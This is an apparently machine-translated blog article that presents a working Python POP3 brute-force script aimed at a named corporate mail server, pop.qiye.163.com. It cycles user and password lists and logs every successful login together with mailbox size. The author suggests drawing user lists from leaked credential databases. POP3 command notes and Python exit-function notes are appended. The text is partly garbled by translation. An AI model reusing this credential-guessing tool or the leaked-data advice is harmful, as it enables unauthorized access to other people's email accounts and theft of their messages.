マスターから与えられたタスクに従って、企業メールボックスのブラスト スクリプトを作成し、続いて FTP や SSH などのブラスト スクリプトをいくつか書きました。
最初に全体的なアイデアについて話させてください:
全体的なアイデアは、Python の Poplib モジュールを使用して Pop3 サーバーから対話し、取得した関連情報に基づいて結果を生成することです。 POP3 プロトコルは複雑ではありません。サーバーにコマンドを送信すると、サーバーは必ずメッセージを返します
Sys。コマンドラインパラメーターを取得するには、sys.argv[0] がコード自体のファイルパスを表すため、パラメーターは 1 から始まります
2 次に、ユーザーパスワードファイル
4. 次に、スクリプトのコア コード部分が来ます
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd
スクリプト コードは次のとおりです。以下:
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit(1) server = "pop.qiye.163.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: urerlist打开失败!\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: passlist打开失败!\n" sys.exit(1) try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("\n","") value = value.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "获取信息失败!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done"
テスト結果:
手順:
ユーザー辞書ファイル zhangsan@domain.com、lisi@domain.com、wangwu@domain.com と同様に @domain.com が必要です。私は企業の電子メール アカウントとパスワードを持っていないため、うまくテストできませんでした。興味があれば、関連するソーシャル ワーク パンツを検索してください。
添付:
Pythonのos._exit()、sys.exit()、exit()の違いは何ですか?
sys.exit(n) プログラムを終了すると SystemExit 例外が発生します。n のデフォルト値は 0 で、この例外がキャッチされない場合は異常終了を示します。 、これをキャッチして直接終了します。例外は追加のクリーンアップ作業を行うことができます。 通常、この exit
os._exit(n) は、Python インタープリターを直接終了するためにメイン プログラムで使用され、後続のコードは実行されず、例外もスローされず、関連するクリーンアップ作業も実行されません。
exit() は、C などの他の言語の exit() と同じである必要があります。pop3 が電子メールを受信するプロセスは一般的に次のとおりです。
pop3 サーバー (poplib. POP3.__init__)
コマンドpoplibメソッドパラメータステータス説明
------- ---------------- ---------------------------------- ---------------- ----------USER user username このコマンドと次の pass コマンドが成功すると、状態遷移
PASS pass_password はユーザーのパスワードを承認します
------------------------ ------------------------ ------------------------ ------------------------
STAT stat なし リクエスト サーバーを処理して、メッセージの総数や合計メッセージ数など、メールボックスに関する統計を送り返します。バイト数
UIDL uidl [Msg#] 返されたメッセージの一意の識別子を処理します。POP3 セッションの各識別子は一意になります
LIST list [Msg#] プロセスはメッセージの数と各メッセージのサイズを返します
RETR retr [Msg#] プロセスはパラメータで識別されたメッセージの全文を返します
DELE dele [Msg#] quit コマンドの実行で指定されたように、パラメータで識別されたメッセージに削除のマークを付けるサーバを処理します
RSET rset なし 処理サーバは、削除対象としてマークされたすべての電子メールをリセットします。DELE コマンドを元に戻すために使用されます
TOP トップ [Msg#] 処理サーバーは、パラメーターで識別された電子メールの最初の n 行を返します。n は正の整数である必要があります
NOOP noop なし 処理サーバー肯定的な応答が返されます
企業メールボックス用の Python ブラスト スクリプトに関連するその他の記事については、PHP 中国語 Web サイトに注目してください。